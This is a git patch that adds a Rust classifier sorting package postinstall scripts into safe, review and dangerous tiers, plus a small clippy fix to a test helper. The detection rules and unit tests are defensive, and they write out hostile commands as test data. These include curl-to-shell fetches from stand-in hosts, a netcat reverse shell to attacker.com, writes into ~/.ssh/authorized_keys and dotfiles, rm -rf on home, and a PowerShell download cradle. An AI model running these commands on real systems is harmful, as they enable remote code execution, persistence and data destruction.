non-joiner / joiner + +/// left-to-right mark / right-to-left mark. +/// - `U+202A..U+202E` — bidirectional embedding / override controls +/// (the "Trojan Source" attack class). +/// - `U+2066..U+2069` — LRI / RLI / FSI / PDI isolates. +/// - `U+FEFF` — zero-width no-break space / BOM. +fn contains_unicode_control_chars(s: &str) -> bool { + s.chars().any(|c| { + let cp = c as u32; + (0x200B..=0x200F).contains(&cp) + || (0x202A..=0x202E).contains(&cp) + || (0x2066..=0x2069).contains(&cp) + || cp == 0xFEFF + }) +} + +/// Check the raw (case-insensitive) script for PowerShell constructs +/// that are the common malware shape: `Invoke-Expression` (aliased as +/// `iex`), `FromBase64String`, `Add-MpPreference`. These survive +/// tokenization intact but a substring check is cheaper and equally +/// specific. +/// +/// The bare `iex` token (PowerShell alias for `Invoke-Expression`) is +/// intentionally handled in [`tokens_match_red`] instead — checking +/// `iex` as a substring would false-positive on English words like +/// "complex" and "regex". +fn contains_powershell_red_literal(s: &str) -> bool { + const LITERALS_LC: &[&str] = &["invoke-expression", "frombase64string", "add-mppreference"]; + let lower = s.to_ascii_lowercase(); + LITERALS_LC.iter().any(|lit| lower.contains(lit)) +} + +// ───────────────────────────────────────────────────────────────────── +// Step 2 — operator normalization (quote-aware) +// ───────────────────────────────────────────────────────────────────── + +/// Pad every UNQUOTED shell operator with surrounding whitespace so +/// the downstream [`shlex::split`] produces standalone operator +/// tokens. +/// +/// `shlex` handles POSIX word-splitting + quoting but does NOT +/// recognize shell operators. Without this pre-pass, `curl url|sh` +/// tokenizes as `["curl", "url|sh"]` (the `|` stays glued to the URL) +/// and the tokenized red check for pipe-to-shell never fires — the +/// script silently downclasses to Amber via the generic compound +/// fallback, violating the "red wins over compound" contract. +/// +/// The walker tracks single-quote / double-quote / backslash escape +/// state so we don't touch operator characters that appear inside a +/// quoted string (those are literal content, not operators). +/// +/// Recognized two-char operators (parsed as a unit so `>>` doesn't +/// become `> >`): `&&`, `||`, `>>`, `<<`. +/// +/// Recognized single-char operators: `|`, `&`, `;`, `<`, `>`, `(`, +/// `)`. +/// +/// Everything else (including `{`, `}`, brace-expansion, and process +/// substitution `<(…)`) is left untouched; this is a deliberately +/// conservative list focused on the operators that gate the red +/// patterns in §4.1 of the plan. +fn normalize_operators(s: &str) -> String { + let mut out = String::with_capacity(s.len() * 2); + let mut chars = s.chars().peekable(); + let mut in_single_quote = false; + let mut in_double_quote = false; + + while let Some(c) = chars.next() { + // Backslash escapes the next char ONLY outside single quotes + // (POSIX: inside `'…'`, backslash is literal). + if c == '\\' && !in_single_quote { + out.push(c); + if let Some(next) = chars.next() { + out.push(next); + } + continue; + } + + if c == '\'' && !in_double_quote { + in_single_quote = !in_single_quote; + out.push(c); + continue; + } + if c == '"' && !in_single_quote { + in_double_quote = !in_double_quote; + out.push(c); + continue; + } + + if in_single_quote || in_double_quote { + out.push(c); + continue; + } + + // Unquoted region — look for operators to pad. + match c { + '|' | '&' | '<' | '>' => { + let two_char = matches!( + (c, chars.peek().copied()), + ('|', Some('|')) | ('&', Some('&')) | ('<', Some('<')) | ('>', Some('>')) + ); + out.push(' '); + out.push(c); + if two_char { + out.push(chars.next().expect("peeked")); + } + out.push(' '); + } + ';' | '(' | ')' => { + out.push(' '); + out.push(c); + out.push(' '); + } + _ => out.push(c), + } + } + + out +} + +// ───────────────────────────────────────────────────────────────────── +// Step 3 — tokenized red checks +// ───────────────────────────────────────────────────────────────────── + +fn tokens_match_red(tokens: &[String]) -> bool { + if any_token_is_red_command(tokens) { + return true; + } + if has_node_eval(tokens) { + return true; + } + if has_pipe_to_shell(tokens) { + return true; + } + if has_nested_package_manager(tokens) { + return true; + } + if has_dangerous_rm(tokens) { + return true; + } + if has_dangerous_chmod(tokens) { + return true; + } + if has_dangerous_redirect(tokens) { + return true; + } + false +} + +/// Standalone commands that are always red no matter what comes after +/// them. Case-insensitive because `iex` is a PowerShell alias and +/// pwsh is case-insensitive; the others are checked against their +/// canonical lowercase spellings out of an abundance of caution. +fn any_token_is_red_command(tokens: &[String]) -> bool { + tokens.iter().any(|t| { + let lc = t.to_ascii_lowercase(); + matches!(lc.as_str(), "iex" | "nc" | "netcat" | "ncat" | "eval") + }) +} + +/// `node -e '…'` / `node --eval '…'` — a small-surface RCE primitive +/// indistinguishable from malware when it shows up in a postinstall. +/// Requires the `-e` / `--eval` flag to be **adjacent** to `node` so +/// `node --other-flag -e` still trips (defensive against argument +/// reordering) but we don't false-positive on a random `-e` floating +/// elsewhere in the token stream. +fn has_node_eval(tokens: &[String]) -> bool { + for (i, t) in tokens.iter().enumerate() { + if t != "node" { + continue; + } + for follower in tokens.iter().skip(i + 1) { + if is_compound_op(follower) { + break; + } + if follower == "-e" || follower == "--eval" { + return true; + } + // Keep scanning past other flags (e.g. `node --no-warnings -e`). + if !follower.starts_with('-') { + break; + } + } + } + false +} + +/// `curl … | sh` / `wget … | bash` / `base64 -d … | sh`. We look for a +/// `|` pipe operator whose RHS is a shell, and whose LHS contains +/// either a fetcher (`curl` / `wget` / `fetch`) or a `base64 -d` / +/// `base64 --decode`. +fn has_pipe_to_shell(tokens: &[String]) -> bool { + const SHELLS: &[&str] = &["sh", "bash", "zsh", "dash", "ksh", "csh", "tcsh", "fish"]; + + for (i, t) in tokens.iter().enumerate() { + if t != "|" { + continue; + } + let Some(next) = tokens.get(i + 1) else { + continue; + }; + if !SHELLS.contains(&next.as_str()) { + continue; + } + let prior = &tokens[..i]; + let has_fetcher = prior + .iter() + .any(|p| matches!(p.as_str(), "curl" | "wget" | "fetch")); + let has_base64_decode = prior + .windows(2) + .any(|w| w[0] == "base64" && matches!(w[1].as_str(), "-d" | "--decode")); + if has_fetcher || has_base64_decode { + return true; + } + } + false +} + +/// Nested package-manager install: the postinstall of package A +/// invoking `npm install B` / `pip install C` / etc. Always red — +/// the outer install has already resolved + audited its dependency +/// graph; a postinstall that reaches for another PM is actively +/// trying to run un-audited code. +fn has_nested_package_manager(tokens: &[String]) -> bool { + // (command, allowed install verbs) + const PAIRS: &[(&str, &[&str])] = &[ + ("npm", &["install", "i", "add"]), + ("pnpm", &["install", "i", "add"]), + ("yarn", &["add", "install"]), + ("bun", &["add", "install"]), + ("lpm", &["install", "i", "add"]), + ("pip", &["install"]), + ("pip3", &["install"]), + ("gem", &["install"]), + ("cargo", &["install"]), + ("brew", &["install"]), + ]; + tokens.windows(2).any(|w| { + PAIRS + .iter() + .any(|(cmd, verbs)| w[0] == *cmd && verbs.contains(&w[1].as_str())) + }) +} + +/// `rm -rf ~` / `rm -rf /` / `rm -rf $HOME` / `rm -rf *` and close +/// variants. We require BOTH `-r` and `-f` (in any flag spelling) +/// before considering targets — `rm foo.txt` without `-r` is not in +/// this red class. +fn has_dangerous_rm(tokens: &[String]) -> bool { + for (i, t) in tokens.iter().enumerate() { + if t != "rm" { + continue; + } + let mut saw_r = false; + let mut saw_f = false; + let mut targets: Vec<&str> = Vec::new(); + for follower in tokens.iter().skip(i + 1) { + if is_compound_op(follower) { + break; + } + if let Some(flag) = follower.strip_prefix('-') { + if flag.is_empty() || flag == "-" { + continue; + } + // Long-form `--recursive` / `--force`. + if flag == "-recursive" || flag == "recursive" { + saw_r = true; + continue; + } + if flag == "-force" || flag == "force" { + saw_f = true; + continue; + } + // Short-form clusters like `-rf`, `-fr`, `-Rf`. + for c in flag.chars() { + if c == 'r' || c == 'R' { + saw_r = true; + } + if c == 'f' { + saw_f = true; + } + } + continue; + } + targets.push(follower.as_str()); + } + if !(saw_r && saw_f) { + continue; + } + if targets.iter().any(|t| is_dangerous_rm_target(t)) { + return true; + } + } + false +} + +fn is_dangerous_rm_target(target: &str) -> bool { + // Exact matches for the canonical dangerous targets. + if matches!(target, "/" | "~" | "*" | "/*" | "~/" | "~/*" | "./*") { + return true; + } + // Home-dir-anchored — `~`, `$HOME`, `${HOME}`, `${HOME:-/root}`. + if target.starts_with('~') || target.starts_with("$HOME") || target.starts_with("${HOME") { + return true; + } + // Any absolute path is dangerous — a postinstall should never be + // rm -rf'ing outside the package directory. + if target.starts_with('/') { + return true; + } + // Bare glob that'd expand in the CWD (typically the project dir). + if target == "*" { + return true; + } + false +} + +/// `chmod +x` / `chmod 777` applied to a target outside the package +/// directory. Conservative: we treat any absolute path, `~`-anchored +/// path, or `$HOME`-anchored path as "outside" — we can't prove +/// anything further from the script text alone. Relative paths skip +/// the red classification (they might still land in Amber via the +/// generic fallback). +fn has_dangerous_chmod(tokens: &[String]) -> bool { + for (i, t) in tokens.iter().enumerate() { + if t != "chmod" { + continue; + } + let mut saw_dangerous_mode = false; + let mut targets: Vec<&str> = Vec::new(); + for follower in tokens.iter().skip(i + 1) { + if is_compound_op(follower) { + break; + } + if is_dangerous_chmod_mode(follower) { + saw_dangerous_mode = true; + continue; + } + if follower.starts_with('-') { + // Some chmod implementations accept flags like `-R`; + // treat as opaque and keep scanning for the target. + continue; + } + targets.push(follower.as_str()); + } + if !saw_dangerous_mode { + continue; + } + if targets.iter().any(|t| is_outside_package_target(t)) { + return true; + } + } + false +} + +fn is_dangerous_chmod_mode(m: &str) -> bool { + // `+x`, `a+x`, `u+x`, `ugo+x`, `755`, `777`, leading-zero forms. + if m == "+x" { + return true; + } + if m.ends_with("+x") && m.len() <= 5 { + // Short symbolic modes like `a+x`, `u+x`, `ugo+x`. + return true; + } + matches!(m, "777" | "0777" | "755" | "0755") +} + +fn is_outside_package_target(target: &str) -> bool { + target.starts_with('~') + || target.starts_with('/') + || target.starts_with("$HOME") + || target.starts_with("${HOME") +} + +/// `>> ~/.bashrc` / `>> ~/.ssh/authorized_keys` / `> /etc/...` — +/// persistence-establishing redirects into user dotfiles or privileged +/// system paths. A postinstall writing into these locations is +/// malware-shaped regardless of what's being written. +fn has_dangerous_redirect(tokens: &[String]) -> bool { + for (i, t) in tokens.iter().enumerate() { + if t != ">>" && t != ">" { + continue; + } + let Some(target) = tokens.get(i + 1) else { + continue; + }; + if is_dangerous_redirect_target(target) { + return true; + } + } + false +} + +fn is_dangerous_redirect_target(target: &str) -> bool { + const EXACT: &[&str] = &[ + "~/.bashrc", + "~/.bash_profile", + "~/.zshrc", + "~/.zprofile", + "~/.zshenv", + "~/.profile", + "~/.bash_login", + "~/.bash_logout", + ]; + if EXACT.contains(&target) { + return true; + } + if target.starts_with("~/.ssh") { + return true; + } + if target.starts_with("/etc/") || target.starts_with("/root/") { + return true; + } + // `$HOME/.bashrc` and friends. + if target.starts_with("$HOME/.") || target.starts_with("${HOME}/.") { + return true; + } + false +} + +// ───────────────────────────────────────────────────────────────────── +// Step 4 — compound detection +// ───────────────────────────────────────────────────────────────────── + +/// A compound operator token. `shlex` doesn't understand shell +/// operators, so these appear as regular tokens (e.g. `"&&"`, `"|"`, +/// `">"`); we detect them by exact match. Subshell parens and backtick +/// command-substitution sit as **part of** tokens (since shlex treats +/// them as ordinary characters), so we also look for `$(` and `` ` `` +/// inside token contents. +fn is_compound_op(t: &str) -> bool { + match t { + "&&" | "||" | ";" | "|" | ">" | ">>" | "<" | "<<" | "&" | "(" | ")" => true, + _ => t.contains("$(") || t.contains('`'), + } +} + +fn tokens_are_compound(tokens: &[String]) -> bool { + tokens.iter().any(|t| is_compound_op(t)) +} + +// ───────────────────────────────────────────────────────────────────── +// Step 5 — green allowlist +// ───────────────────────────────────────────────────────────────────── + +fn tokens_match_green(tokens: &[String]) -> bool { + match tokens.first().map(String::as_str) { + Some("node-gyp") => matches_node_gyp(tokens), + Some("electron-rebuild") => tokens.len() == 1, + Some("tsc") => matches_tsc(tokens), + Some("prisma") => matches_prisma(tokens), + Some("husky") => matches_husky(tokens), + Some("node") => matches_node_relative(tokens), + _ => false, + } +} + +/// `node-gyp rebuild` with optional `--release` / `--debug`. +fn matches_node_gyp(tokens: &[String]) -> bool { + if tokens.len() < 2 || tokens[1] != "rebuild" { + return false; + } + tokens + .iter() + .skip(2) + .all(|t| t == "--release" || t == "--debug") +} + +/// `tsc`, `tsc --build`, `tsc -b`, `tsc -p `, +/// `tsc --project `. +fn matches_tsc(tokens: &[String]) -> bool { + match tokens.len() { + 1 => true, + 2 => matches!(tokens[1].as_str(), "--build" | "-b"), + 3 => matches!(tokens[1].as_str(), "-p" | "--project") && is_safe_relative_path(&tokens[2]), + _ => false, + } +} + +/// `prisma generate`. +fn matches_prisma(tokens: &[String]) -> bool { + tokens.len() == 2 && tokens[1] == "generate" +} + +/// `husky` (v9+ form) or `husky install` (v8 form). +fn matches_husky(tokens: &[String]) -> bool { + match tokens.len() { + 1 => true, + 2 => tokens[1] == "install", + _ => false, + } +} + +/// `node .js` (or `.cjs` / `.mjs`) where `` is a +/// non-escaping path inside the package directory AND the basename is +/// not `install.js` / `postinstall.js` (those are the binary-fetcher +/// convention and tier amber — the amber exception wins per the plan +/// doc update). +fn matches_node_relative(tokens: &[String]) -> bool { + if tokens.len() != 2 { + return false; + } + let path = tokens[1].as_str(); + if !is_safe_relative_path(path) { + return false; + } + let has_js_ext = path.ends_with(".js") || path.ends_with(".cjs") || path.ends_with(".mjs"); + if !has_js_ext { + return false; + } + let basename = path.rsplit('/').next().unwrap_or(path); + if matches!(basename, "install.js" | "postinstall.js") { + return false; + } + true +} + +/// A path is "safe relative" if it points inside the package +/// directory without absolute-path / home-dir / env-var shortcuts +/// and without `..` escape segments. +fn is_safe_relative_path(p: &str) -> bool { + if p.is_empty() + || p.starts_with('/') + || p.starts_with('~') + || p.starts_with('$') + || p.contains('\\') + { + return false; + } + p.split('/').all(|seg| seg != "..") +} + +// ───────────────────────────────────────────────────────────────────── +// Tests +// ───────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use super::*; + + fn tier(script: &str) -> StaticTier { + classify(script) + } + + // ── Green allowlist ────────────────────────────────────────────── + + #[test] + fn green_tsc_variants() { + assert_eq!(tier("tsc"), StaticTier::Green); + assert_eq!(tier("tsc -b"), StaticTier::Green); + assert_eq!(tier("tsc --build"), StaticTier::Green); + assert_eq!(tier("tsc -p ./tsconfig.json"), StaticTier::Green); + assert_eq!(tier("tsc --project src/tsconfig.json"), StaticTier::Green); + } + + #[test] + fn green_node_gyp() { + assert_eq!(tier("node-gyp rebuild"), StaticTier::Green); + assert_eq!(tier("node-gyp rebuild --release"), StaticTier::Green); + assert_eq!(tier("node-gyp rebuild --debug"), StaticTier::Green); + assert_eq!( + tier("node-gyp rebuild --release --debug"), + StaticTier::Green + ); + } + + #[test] + fn green_electron_rebuild_bare_only() { + assert_eq!(tier("electron-rebuild"), StaticTier::Green); + // Args push to Amber — we can widen if corpus demands it. + assert_eq!(tier("electron-rebuild -f"), StaticTier::Amber); + } + + #[test] + fn green_husky_both_forms() { + assert_eq!(tier("husky"), StaticTier::Green); + assert_eq!(tier("husky install"), StaticTier::Green); + } + + #[test] + fn green_prisma_generate() { + assert_eq!(tier("prisma generate"), StaticTier::Green); + } + + #[test] + fn green_node_relative_paths() { + assert_eq!(tier("node build.js"), StaticTier::Green); + assert_eq!(tier("node ./scripts/build.js"), StaticTier::Green); + assert_eq!(tier("node lib/helper.mjs"), StaticTier::Green); + assert_eq!(tier("node ./tools/gen.cjs"), StaticTier::Green); + } + + #[test] + fn amber_node_install_js_exception_wins() { + // The plan-doc update locks this: install.js / postinstall.js + // are the binary-fetcher convention and must NOT be green. + assert_eq!(tier("node install.js"), StaticTier::Amber); + assert_eq!(tier("node postinstall.js"), StaticTier::Amber); + assert_eq!(tier("node ./install.js"), StaticTier::Amber); + assert_eq!(tier("node scripts/install.js"), StaticTier::Amber); + } + + #[test] + fn amber_node_escaping_path() { + assert_eq!(tier("node ../other/build.js"), StaticTier::Amber); + assert_eq!(tier("node /abs/path.js"), StaticTier::Amber); + assert_eq!(tier("node ~/build.js"), StaticTier::Amber); + assert_eq!(tier("node $HOME/build.js"), StaticTier::Amber); + } + + #[test] + fn amber_node_without_js_extension() { + assert_eq!(tier("node build"), StaticTier::Amber); + assert_eq!(tier("node ./script"), StaticTier::Amber); + } + + #[test] + fn amber_node_with_extra_args() { + // More-than-two-token forms are not green (conservative). + assert_eq!(tier("node build.js --port 3000"), StaticTier::Amber); + } + + // ── Red: prefilter (Unicode + PowerShell literals) ────────────── + + #[test] + fn red_unicode_rtl_override() { + // U+202E RIGHT-TO-LEVEL OVERRIDE — the "Trojan Source" signature. + let s = "echo hi\u{202E}rm -rf /"; + assert_eq!(tier(s), StaticTier::Red); + } + + #[test] + fn red_unicode_zero_width_joiner() { + let s = "tsc\u{200D}"; + assert_eq!(tier(s), StaticTier::Red); + } + + #[test] + fn red_unicode_bom_in_body() { + let s = "tsc\u{FEFF}"; + assert_eq!(tier(s), StaticTier::Red); + } + + #[test] + fn red_powershell_invoke_expression() { + let s = "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://x')"; + assert_eq!(tier(s), StaticTier::Red); + // Case-insensitive match. + assert_eq!(tier("invoke-expression $something"), StaticTier::Red); + } + + #[test] + fn red_powershell_from_base64_string() { + assert_eq!( + tier("[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('x'))"), + StaticTier::Red + ); + } + + #[test] + fn red_powershell_add_mppreference() { + assert_eq!( + tier("Add-MpPreference -ExclusionPath C:\\Users\\evil"), + StaticTier::Red + ); + } + + #[test] + fn red_iex_as_bare_token() { + assert_eq!(tier("iex $payload"), StaticTier::Red); + } + + #[test] + fn red_iex_substring_does_not_false_positive() { + // These should NOT be red — the word contains "iex" as a + // substring of a longer English token. + assert_eq!(tier("complex"), StaticTier::Amber); + assert_eq!(tier("regex"), StaticTier::Amber); + } + + // ── Red: tokenized dangerous commands ─────────────────────────── + + #[test] + fn red_eval_bare() { + assert_eq!(tier("eval $MALICIOUS"), StaticTier::Red); + } + + #[test] + fn red_node_dash_e() { + assert_eq!( + tier("node -e 'require(\"fs\").unlink(\"/etc/passwd\")'"), + StaticTier::Red + ); + } + + #[test] + fn red_node_long_eval() { + assert_eq!(tier("node --eval 'console.log(1)'"), StaticTier::Red); + } + + #[test] + fn red_node_eval_with_preceding_flags() { + // `node --no-warnings -e '...'` should still trip. + assert_eq!( + tier("node --no-warnings -e 'console.log(1)'"), + StaticTier::Red + ); + } + + #[test] + fn red_nc_netcat() { + assert_eq!(tier("nc -l 8080"), StaticTier::Red); + assert_eq!(tier("netcat attacker.com 4444"), StaticTier::Red); + assert_eq!(tier("ncat -e /bin/sh attacker.com 4444"), StaticTier::Red); + } + + // ── Red: pipe-to-shell (must win over compound) ───────────────── + + #[test] + fn red_curl_pipe_sh() { + assert_eq!(tier("curl https://evil.sh | sh"), StaticTier::Red); + } + + #[test] + fn red_curl_pipe_bash() { + assert_eq!(tier("curl -fsSL https://evil.sh | bash"), StaticTier::Red); + } + + #[test] + fn red_wget_pipe_shell() { + assert_eq!(tier("wget -O - https://evil.sh | sh"), StaticTier::Red); + } + + #[test] + fn red_base64_decode_pipe_shell() { + assert_eq!(tier("base64 -d payload | sh"), StaticTier::Red); + assert_eq!(tier("base64 --decode blob | bash"), StaticTier::Red); + } + + #[test] + fn red_wins_over_compound_fallback() { + // The archetypal case: `curl … | sh`. The `|` operator would + // otherwise short-circuit to Amber via the compound check — + // we explicitly test here that red runs FIRST. + let s = "curl https://x | sh"; + assert_eq!(tier(s), StaticTier::Red, "red must win over compound"); + } + + // ── Red: no-space operator forms (regression for review-round + // finding: shlex leaves unspaced operators embedded in + // tokens, so classify MUST normalize before tokenizing) ─ + + #[test] + fn red_curl_pipe_sh_no_space() { + assert_eq!(tier("curl https://evil.sh|sh"), StaticTier::Red); + } + + #[test] + fn red_base64_decode_pipe_sh_no_space() { + assert_eq!(tier("base64 -d payload|sh"), StaticTier::Red); + } + + #[test] + fn red_redirect_no_space() { + assert_eq!(tier("echo hi>~/.bashrc"), StaticTier::Red); + assert_eq!(tier("echo hi>>~/.ssh/authorized_keys"), StaticTier::Red); + assert_eq!(tier("echo x>/etc/pam.d/sudo"), StaticTier::Red); + } + + #[test] + fn amber_compound_no_space() { + // Compound operators with no surrounding whitespace must still + // be detected as compound (not green, not a novel command). + assert_eq!(tier("tsc&&husky install"), StaticTier::Amber); + assert_eq!(tier("tsc;prisma generate"), StaticTier::Amber); + assert_eq!(tier("tsc||true"), StaticTier::Amber); + } + + // ── Normalizer: quoted operator chars must NOT be padded ──────── + + #[test] + fn normalizer_leaves_quoted_operators_alone() { + // A single-quoted literal containing `|` is content, not an + // operator. Must remain a single token and NOT trip the + // pipe-to-shell detector. + assert_eq!(tier("echo 'a|b|c'"), StaticTier::Amber); + // Same for double-quoted. + assert_eq!(tier("echo \"a>b\""), StaticTier::Amber); + // An escape sequence must also be preserved. + assert_eq!(tier("echo a\\|b"), StaticTier::Amber); + } + + #[test] + fn normalizer_preserves_quoted_pipe_payload() { + // If a curl URL happens to contain `|` inside quotes, we + // should NOT false-positive red — the `|` is content. + // (Contrived; real URLs rarely contain `|`, but the quote + // semantics must hold.) + let s = "curl 'https://x.example/foo|bar'"; + // No `|` appears as an operator, no `sh` follows; amber. + assert_eq!(tier(s), StaticTier::Amber); + } + + #[test] + fn normalizer_handles_two_char_operators() { + // Explicit coverage: `>>` must be recognized as one operator, + // not two `>` tokens (downstream `has_dangerous_redirect` + // expects the `>>` token form). + assert_eq!(tier("echo x>>~/.bashrc"), StaticTier::Red); + // `||` and `&&` become standalone compound tokens. + assert_eq!(tier("tsc||true"), StaticTier::Amber); + assert_eq!(tier("tsc&&prisma generate"), StaticTier::Amber); + } + + // ── Red: nested package managers ──────────────────────────────── + + #[test] + fn red_npm_install_nested() { + assert_eq!(tier("npm install malware"), StaticTier::Red); + assert_eq!(tier("npm i malware"), StaticTier::Red); + } + + #[test] + fn red_pnpm_yarn_bun_lpm_nested() { + assert_eq!(tier("pnpm install x"), StaticTier::Red); + assert_eq!(tier("yarn add x"), StaticTier::Red); + assert_eq!(tier("bun add x"), StaticTier::Red); + assert_eq!(tier("lpm install x"), StaticTier::Red); + } + + #[test] + fn red_pip_gem_cargo_brew_nested() { + assert_eq!(tier("pip install requests"), StaticTier::Red); + assert_eq!(tier("pip3 install requests"), StaticTier::Red); + assert_eq!(tier("gem install rails"), StaticTier::Red); + assert_eq!(tier("cargo install ripgrep"), StaticTier::Red); + assert_eq!(tier("brew install thing"), StaticTier::Red); + } + + #[test] + fn amber_npm_run_script_not_install() { + // `npm run build` is NOT a nested PM install; should be amber. + assert_eq!(tier("npm run build"), StaticTier::Amber); + } + + // ── Red: rm -rf on dangerous targets ──────────────────────────── + + #[test] + fn red_rm_rf_dangerous_targets() { + assert_eq!(tier("rm -rf ~"), StaticTier::Red); + assert_eq!(tier("rm -rf /"), StaticTier::Red); + assert_eq!(tier("rm -rf $HOME"), StaticTier::Red); + assert_eq!(tier("rm -rf ${HOME}"), StaticTier::Red); + assert_eq!(tier("rm -rf ~/.config"), StaticTier::Red); + assert_eq!(tier("rm -rf /etc/something"), StaticTier::Red); + } + + #[test] + fn red_rm_rf_flag_spellings() { + assert_eq!(tier("rm -rf ~"), StaticTier::Red); + assert_eq!(tier("rm -fr ~"), StaticTier::Red); + assert_eq!(tier("rm -r -f ~"), StaticTier::Red); + assert_eq!(tier("rm -f -r ~"), StaticTier::Red); + assert_eq!(tier("rm --recursive --force ~"), StaticTier::Red); + } + + #[test] + fn amber_rm_rf_relative_target() { + // Relative targets stay amber — we can't statically prove + // containment but they're also not in the red class. + assert_eq!(tier("rm -rf node_modules"), StaticTier::Amber); + assert_eq!(tier("rm -rf dist"), StaticTier::Amber); + } + + #[test] + fn amber_rm_without_force_and_recursive() { + // `rm` alone doesn't meet the `-r && -f` requirement → not red. + assert_eq!(tier("rm foo.txt"), StaticTier::Amber); + assert_eq!(tier("rm -r foo"), StaticTier::Amber); + assert_eq!(tier("rm -f foo"), StaticTier::Amber); + } + + // ── Red: chmod outside package/node_modules ───────────────────── + + #[test] + fn red_chmod_outside_package() { + assert_eq!(tier("chmod +x ~/.ssh/authorized_keys"), StaticTier::Red); + assert_eq!(tier("chmod 777 /etc/passwd"), StaticTier::Red); + assert_eq!(tier("chmod 777 $HOME/.bashrc"), StaticTier::Red); + assert_eq!(tier("chmod a+x /usr/local/bin/tool"), StaticTier::Red); + } + + #[test] + fn amber_chmod_relative_target() { + // Relative targets skip red; end up amber via fallback. + assert_eq!(tier("chmod +x ./bin/tool"), StaticTier::Amber); + assert_eq!(tier("chmod 755 scripts/run.sh"), StaticTier::Amber); + } + + // ── Red: dangerous redirects ──────────────────────────────────── + + #[test] + fn red_redirect_into_dotfiles() { + assert_eq!(tier("echo evil >> ~/.bashrc"), StaticTier::Red); + assert_eq!(tier("echo evil >> ~/.zshrc"), StaticTier::Red); + assert_eq!(tier("echo evil >> ~/.profile"), StaticTier::Red); + assert_eq!(tier("echo evil >> ~/.ssh/authorized_keys"), StaticTier::Red); + assert_eq!(tier("echo x > /etc/pam.d/sudo"), StaticTier::Red); + } + + // ── Amber: compound commands (generic) ────────────────────────── + + #[test] + fn amber_compound_of_greens() { + // Even two greens AND'd together → amber. Rationale: compound + // hides commands behind operators; we only trust atomic greens. + assert_eq!(tier("tsc && husky install"), StaticTier::Amber); + assert_eq!(tier("tsc; prisma generate"), StaticTier::Amber); + assert_eq!(tier("tsc || true"), StaticTier::Amber); + } + + #[test] + fn amber_subshell_and_backticks() { + assert_eq!(tier("echo $(whoami)"), StaticTier::Amber); + assert_eq!(tier("echo `whoami`"), StaticTier::Amber); + } + + #[test] + fn amber_stdout_redirect() { + assert_eq!(tier("echo hi > out.txt"), StaticTier::Amber); + assert_eq!(tier("echo hi >> out.txt"), StaticTier::Amber); + } + + // ── Amber: network binary downloaders (D18) ───────────────────── + // + // These are deliberately NOT green — D18 routes them through + // Layer 2 approval so the user explicitly acknowledges the binary- + // download class. + + #[test] + fn amber_playwright_install() { + assert_eq!(tier("playwright install"), StaticTier::Amber); + assert_eq!(tier("playwright install --with-deps"), StaticTier::Amber); + } + + #[test] + fn amber_puppeteer() { + assert_eq!(tier("puppeteer"), StaticTier::Amber); + assert_eq!(tier("puppeteer-browser install"), StaticTier::Amber); + } + + #[test] + fn amber_cypress_install() { + assert_eq!(tier("cypress install"), StaticTier::Amber); + } + + #[test] + fn amber_electron_builder_install_app_deps() { + assert_eq!(tier("electron-builder install-app-deps"), StaticTier::Amber); + } + + // ── Amber: parse failure + edge cases ─────────────────────────── + + #[test] + fn amber_empty_and_whitespace() { + assert_eq!(tier(""), StaticTier::Amber); + assert_eq!(tier(" "), StaticTier::Amber); + assert_eq!(tier("\t\n"), StaticTier::Amber); + } + + #[test] + fn amber_unbalanced_quotes_fails_closed() { + // shlex parse failure → Amber (must NOT slip into green). + assert_eq!(tier("tsc \"unclosed"), StaticTier::Amber); + } + + #[test] + fn amber_novel_command() { + assert_eq!(tier("mytool --flag value"), StaticTier::Amber); + assert_eq!(tier("build-script.sh"), StaticTier::Amber); + } + + // ── Classifier is pure: same input → same output ──────────────── + + #[test] + fn classify_is_deterministic() { + let inputs = [ + "tsc", + "node-gyp rebuild", + "curl https://x | sh", + "rm -rf ~", + "husky install && echo done", + "", + ]; + for input in inputs { + assert_eq!(classify(input), classify(input)); + } + } + + // ── Classifier never emits AmberLlm (reserved for P8) ─────────── + + #[test] + fn classify_never_emits_amber_llm() { + // Broad coverage: iterate the full test-rule input set and + // assert the returned tier is never AmberLlm. The classifier + // owns Green | Amber | Red; AmberLlm comes from the LLM + // harness in P8. + let corpus = [ + "tsc", + "node-gyp rebuild", + "husky install", + "prisma generate", + "electron-rebuild", + "node ./build.js", + "node install.js", + "playwright install", + "curl https://evil | sh", + "base64 -d x | sh", + "rm -rf ~", + "chmod +x ~/.ssh/id_rsa", + "echo x >> ~/.bashrc", + "eval $X", + "node -e '1'", + "npm install thing", + "tsc && husky install", + "\u{202E}rm -rf /", + "Invoke-Expression $x", + "iex $x", + "", + "some-unknown-tool", + ]; + for body in corpus { + assert_ne!( + classify(body), + StaticTier::AmberLlm, + "classifier must not emit AmberLlm for: {body:?}" + ); + } + } +} From 1886a2babdd8dd07a12d159dd30ca2c6349b0088 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 10:14:48 +0100 Subject: [PATCH 11/61] =?UTF-8?q?fix(phase-46):=20hygiene=20=E2=80=94=20dr?= =?UTF-8?q?op=20let-and-return=20in=20lpm-auth=20test=20helper?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Clippy's let_and_return fires on `manager_with` under `cargo clippy --all-targets` (not on the CI gate, which runs `--workspace` only, so this has been silently red for anyone who flips on --all-targets locally). One-line fix: return the struct literal directly. Surfaced while running the pre-merge CI gate for phase-46 P2 chunk 1 at --all-targets. Unblocks the lpm-auth clippy run; the remaining --all-targets errors live in lpm-cli test code (build_state.rs bool-literal assert_eq, trust.rs / trust_snapshot.rs needless struct update) and are out of scope here. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-auth/src/session.rs | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/crates/lpm-auth/src/session.rs b/crates/lpm-auth/src/session.rs index 4b486819..b0093618 100644 --- a/crates/lpm-auth/src/session.rs +++ b/crates/lpm-auth/src/session.rs @@ -712,7 +712,7 @@ mod tests { fn manager_with(source: TokenSource, token: &str) -> SessionManager { // Phase 45 P2 — tests set classified=true so ensure_classified // short-circuits and the pre-seeded `cached` value stands. - let mgr = SessionManager { + SessionManager { registry_url: "https://example.invalid".into(), cached: RwLock::new(Some(CachedToken { secret: SecretString::from(token.to_string()), @@ -723,8 +723,7 @@ mod tests { refresh_generation: AtomicU64::new(0), refresh_lock: Mutex::new(()), http: tokio::sync::OnceCell::new(), - }; - mgr + } } fn manager_empty() -> SessionManager { From 